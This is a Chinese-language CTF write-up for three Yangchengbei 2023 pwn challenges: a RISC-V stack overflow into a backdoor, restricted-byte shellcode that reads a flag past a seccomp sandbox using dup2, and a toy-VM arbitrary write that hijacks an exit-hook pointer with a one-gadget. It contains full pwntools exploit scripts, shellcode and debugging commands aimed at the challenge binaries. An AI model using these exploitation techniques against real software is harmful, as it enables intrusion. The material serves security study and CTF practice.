题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023

risky_login

一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[288]; // [sp+0h] [-120h] BYREF

  init_io();
  puts("RiskY LoG1N SySTem");
  puts("Input ur name:");
  read(0, command, 8uLL);
  printf("Hello, %s", command);
  puts("Input ur words");
  read(0, v4, 0x120uLL);
  my_input(v4);
  puts("message received");
  return 0;
}

char *__fastcall my_input(const char *a1)
{
  char v3[248]; // [sp+18h] [-108h] BYREF

  byte_12347070 = strlen(a1);
  if ( (unsigned __int8)byte_12347070 > 8uLL )
  {
    puts("too long.");
    exit(-1);
  }
  return strcpy(v3, a1);
}

__int64 backdoor()
{
  puts("background debug fun.");
  puts("input what you want exec");
  read(0, command, 8uLL);
  if ( strstr(command, "sh") || strstr(command, "flag") )
  {
    puts("no.");
    exit(-1);
  }
  return system(command);
}

https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0

在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了

.text:0000000012345786 my_input:                               # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108         = -108h
.text:0000000012345786 var_F8          = -0F8h
.text:0000000012345786 var_s0          =  0
.text:0000000012345786 var_s8          =  8
.text:0000000012345786 arg_0           =  10h
.text:0000000012345786
.text:0000000012345786                 addi            sp, sp, -120h
.text:0000000012345788                 sd              ra, 110h+var_s8(sp)
.text:000000001234578A                 sd              s0, 110h+var_s0(sp)
.text:000000001234578C                 addi            s0, sp, 110h+arg_0
.text:000000001234578E                 sd              a0, -10h+var_108(s0)
.text:0000000012345792                 ld              a0, -10h+var_108(s0)
.text:0000000012345796                 call            strlen
.text:000000001234579E                 mv              a5, a0
.text:00000000123457A0                 andi            a4, a5, 0FFh
.text:00000000123457A4                 sb              a4, byte_12347070
.text:00000000123457A8                 lbu             a5, byte_12347070
.text:00000000123457AC                 mv              a4, a5
.text:00000000123457AE                 li              a5, 8
.text:00000000123457B0                 bgeu            a5, a4, loc_123457CE
.text:00000000123457B4                 lui             a5, %hi(aTooLong) # "too long."
.text:00000000123457B8                 addi            a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC                 call            puts
.text:00000000123457C4                 li              a0, -1
.text:00000000123457C6                 call            exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE:                           # CODE XREF: my_input+2A↑j
.text:00000000123457CE                 addi            a5, s0, -10h+var_F8
.text:00000000123457D2                 ld              a1, -10h+var_108(s0)
.text:00000000123457D6                 mv              a0, a5
.text:00000000123457D8                 call            strcpy
.text:00000000123457E0                 nop
.text:00000000123457E2                 ld              ra, 110h+var_s8(sp)
.text:00000000123457E4                 ld              s0, 110h+var_s0(sp)
.text:00000000123457E6                 addi            sp, sp, 120h
.text:00000000123457E8                 ret

覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了

那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了

debug.sh

gdb-multiarch -ex "set architecture riscv" \
              -ex "set exception-debugger on" \
              -ex "file ./pwn" \
              -ex "target remote localhost:1234" \
              -ex "b *0x12345796" \
              -ex "c"

exp

from pwn import *

context(os='linux', arch='riscv', log_level='debug',endian = 'little')
context.log_level = 'debug'

# p = process(["qemu-riscv64", "-L", "./", "-g", "1234", "./pwn"])
p = process(["qemu-riscv64", "-L", "./", "./pwn"])

backdoor = 0x123456ee

p.recvuntil('Input ur name:')
p.send("A")

p.recvuntil("Input ur words")
p.sendline(b"a" * 0x100 + p64(backdoor))

p.interactive()

shellcode

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  puts("[0] The Joy Of Contsructing shellcode ~");
  puts("[1] Are You Superstar In Ctfers?");
  puts("[2] Input: (ye / no)");
  read(0, buf, 2uLL);
  if ( !strcmp(buf, "ye") )
    puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
  else
    vuln(buf);
  puts("[3] Bye~");
  return 0LL;
}

unsigned __int64 __fastcall sub_13A2(const char *a1)
{
  int v2; // [rsp+14h] [rbp-3Ch]
  char *buf; // [rsp+18h] [rbp-38h]
  char *v4; // [rsp+20h] [rbp-30h]
  void (*s[3])(void); // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("[3] Your Answer: %s\n", a1);
  puts("[4] Welcome To P0P's World!!!");
  memset(s, 0, 0x10uLL);
  puts("[5] ======== Input Your P0P Code ========");
  for ( buf = (char *)s; buf; ++buf )
  {
    read(0, buf, 1uLL);
    if ( (buf - (char *)s) >> 4 > 0 )
      break;
  }
  v4 = (char *)s;
  v2 = 0;
  puts("[6] Next");
  if ( s )
  {
    while ( *v4 >= 79 && *v4 <= 95 )
    {
      ++v2;
      ++v4;
    }
    if ( !((v4 - (char *)s) >> 4) )
    {
      puts("[*] It's Not GW's Expect !");
      exit(-1);
    }
  }
  puts("[7] Just Do It!");
  sub_1289();
  s[0]();
  return v6 - __readfsqword(0x28u);
}

__int64 sub_1289()
{
  __int64 v1; // [rsp+8h] [rbp-48h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL);
  seccomp_rule_add(v1, 2147418112LL, 33LL, 0LL);
  return seccomp_load(v1);
}

checksec 栈有rwx的权限

lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ checksec shellcode
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/lhj/Desktop/ycb2023/shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable

程序的逻辑是输入17个字节的数据(read 输入数据的逻辑有问题导致可以多输入一个字节) 然后判断输入的长度是否大于等于16个字节,判断每个字节是否是[79,95]这个范围的字节码,如果是就会执行这些shellcode

因为seccomp要满足一定的输入约束才会执行load bpf,所以直接seccomp dump是dump不出来沙箱规则的,得用python模拟符合输入约束的数据才能把沙箱规则dump出来,可以发现要用orw把flag读出来,然后rw对fd还有些约束,r的fd必须小于等于2,w的fd必须大于2,dup2(old_fd,new_fd)系统调用可以将一个fd重定向到一个新的fd,所以orw得用dup2重定向一下

lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ python test.py | seccomp-tools dump ./shellcode
[0] The Joy Of Contsructing shellcode ~
[1] Are You Superstar In Ctfers?
[2] Input: (ye / no)
[3] Your Answer: b'
[4] Welcome To P0P's World!!!
[5] ======== Input Your P0P Code ========
[6] Next
[7] Just Do It!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0d 0x00 0x00000002  if (A == open) goto 0019
 0006: 0x15 0x0c 0x00 0x00000021  if (A == dup2) goto 0019
 0007: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0013
 0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0009: 0x25 0x0a 0x00 0x00000000  if (A > 0x0) goto 0020
 0010: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0019
 0011: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0012: 0x25 0x07 0x06 0x00000002  if (A > 0x2) goto 0020 else goto 0019
 0013: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0020
 0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
 0015: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0019
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0018: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

test.py

from pwn import *

context(os='linux', arch='amd64')
# context.log_level='debug'
shellcode = asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y')
print(shellcode)

限制的范围都是一些可以调整堆栈和寄存器的asm

# for i in range(79,96):
#     b = bytes([i])
#     try:
#         print(disasm(b))
#     except:
#         pass

#    0:   4f                      rex.WRXB
#    0:   50                      push   rax
#    0:   51                      push   rcx
#    0:   52                      push   rdx
#    0:   53                      push   rbx
#    0:   54                      push   rsp
#    0:   55                      push   rbp
#    0:   56                      push   rsi
#    0:   57                      push   rdi
#    0:   58                      pop    rax
#    0:   59                      pop    rcx
#    0:   5a                      pop    rdx
#    0:   5b                      pop    rbx
#    0:   5c                      pop    rsp
#    0:   5d                      pop    rbp
#    0:   5e                      pop    rsi
#    0:   5f                      pop    rdi

通过yes和no那两个字节输入那 写一个syscall,push和pop调整堆栈,把syscall给读到一个寄存器里,然后通过push写满整个栈,这样在shellcode执行到结尾的时候就会取到这个syscall,syscall read一次后用dup2 orw的shellcode把flag读出来就行了

exp

from pwn import *
# from LibcSearcher import *
# import itertools
# import ctypes

context(os='linux', arch='amd64')
context.log_level='debug'
is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./shellcode')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()


# for i in range(79,96):
#     b = bytes([i])
#     try:
#         print(disasm(b))
#     except:
#         pass

#    0:   4f                      rex.WRXB
#    0:   50                      push   rax
#    0:   51                      push   rcx
#    0:   52                      push   rdx
#    0:   53                      push   rbx
#    0:   54                      push   rsp
#    0:   55                      push   rbp
#    0:   56                      push   rsi
#    0:   57                      push   rdi
#    0:   58                      pop    rax
#    0:   59                      pop    rcx
#    0:   5a                      pop    rdx
#    0:   5b                      pop    rbx
#    0:   5c                      pop    rsp
#    0:   5d                      pop    rbp
#    0:   5e                      pop    rsi
#    0:   5f                      pop    rdi


sa("[2] Input: (ye / no)",asm('syscall'))


gdb_comm = '''
b *$rebase(0x14DF)
c
'''
# gdb.attach(p,gdb_comm)

sa("[5] ======== Input Your P0P Code ========",asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, asm('NOP')))

def convert_str_asmencode(content: str):
    out = ""
    for i in content:
        out = hex(ord(i))[2:] + out
    out = "0x" + out
    return out

# orw_shellcode = b'\x90' * 0x20 + asm(f'''
# xor rsi,rsi
# xor rdx,rdx
# push rdx
# mov rax,{convert_str_asmencode("/flag")}
# push rax
# mov rdi,rsp
# xor rax,rax
# mov al,2
# syscall
# mov rdi,rax
# mov dl,0x40
# mov rsi,rsp
# mov al,0
# syscall
# xor rdi,rdi
# mov al,1
# syscall
# ''')

orw_shellcode = b'\x90' * 0x20 + asm(f'''
xor rsi,rsi
xor rdx,rdx
push rdx
mov rax,{convert_str_asmencode("/flag")}
push rax
mov rdi,rsp
xor rax,rax
mov al,2
syscall

mov rax,33 #  dup2(old_fd,new_fd) 
mov rdi,3  # flag_fd(3) to 0
mov rsi,0
syscall

mov rax,0
mov rdi,0
mov rsi,rsp
mov rdx,0x40 # read flag_content to rsp
syscall

mov rax,33
mov rdi,1 # 1 to 3
mov rsi,3
syscall

mov rax,1
mov rdi,3
mov rsi,rsp
mov rdx,0x40 
syscall
''')




s(orw_shellcode)


p.interactive()

easy_vm

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("It's a easy vmpwn,enjoy it");
  ptr = malloc(0x1000uLL);
  malloc(0x20uLL);
  free(ptr);
  ptr = 0LL;
  stack_memroy = (__int64)malloc(0x1000uLL);
  pc = malloc(0x1000uLL);
  puts("Inputs your code:");
  read(0, pc, 0x1000uLL);
  while ( *(_BYTE *)pc )
  {
    switch ( *(_BYTE *)pc )
    {
      case 1:                                   // push tmp
        stack_memroy += 8LL;
        *(_QWORD *)stack_memroy = tmp;
        pc = (char *)pc + 8;
        break;
      case 2:                                   // pop tmp
        tmp = *(_QWORD *)stack_memroy;
        stack_memroy -= 8LL;
        pc = (char *)pc + 8;
        break;
      case 3:                                   // modify_memory
        *(_QWORD *)tmp = *(_QWORD *)stack_memroy;
        pc = (char *)pc + 8;
        break;
      case 4:                                   // xor
        tmp ^= *((_QWORD *)pc + 1);
        pc = (char *)pc + 16;
        break;
      case 5:
        tmp = *(_QWORD *)tmp;                   // show_memory
        pc = (char *)pc + 8;
        break;
      case 6:                                   // add
        tmp += *((_QWORD *)pc + 1);
        pc = (char *)pc + 16;
        break;
      case 7:                                   // sub
        tmp -= *((_QWORD *)pc + 1);
        pc = (char *)pc + 16;
        break;
      default:
        pc = (char *)pc + 8;
        break;
    }
  }
  exit(0);
}

题目实现了一个简单的vm,有任意地址写的功能,然后stack_memroy残留了一个指向main_arena的指针,可以通过这个指针算出libc_base和ld_base,glibc 2.31下有一个exit hook,具体是exit - > __run_exit_handlers -> _dl_fini - > (rtld_lock_default_lock_recursive & rtld_lock_default_unlock_recursive ) lock 和 unlock这两个函数的调用方式是在rtld_global找这两个函数的指针然后call,然后rtld_global又在ld的数据段上,如果能知道ld_base就能算出这两个指针的地址,所以可以通过写这两个指针为one gadget去劫持控制流

exp

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process('./pwn')

gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = gadgets[3]

libc_base_offset = 0x3c4b78
ld_base_offset = 0x400000
exit_hook_offset = 0x226f48

# _dl_rtld_lock_recursive
payload = p64(2) 
payload += p64(7) + p64(libc_base_offset)   # tmp = libc_base
payload += p64(6) + p64(one_gadget)     # tmp = one_gadget
payload += p64(1)                       # push one_gadget
payload += p64(7) + p64(one_gadget)     # tmp = libc_base
payload += p64(6) + p64(ld_base_offset) # tmp = ld_base
payload += p64(6) + p64(exit_hook_offset) # tmp = &_dl_rtld_lock_recursive
payload += p64(3) # &_dl_rtld_lock_recursive = one_gadget

# gdb.attach(p)
p.sendafter('your code:', payload)

p.interactive()
⬆︎TOP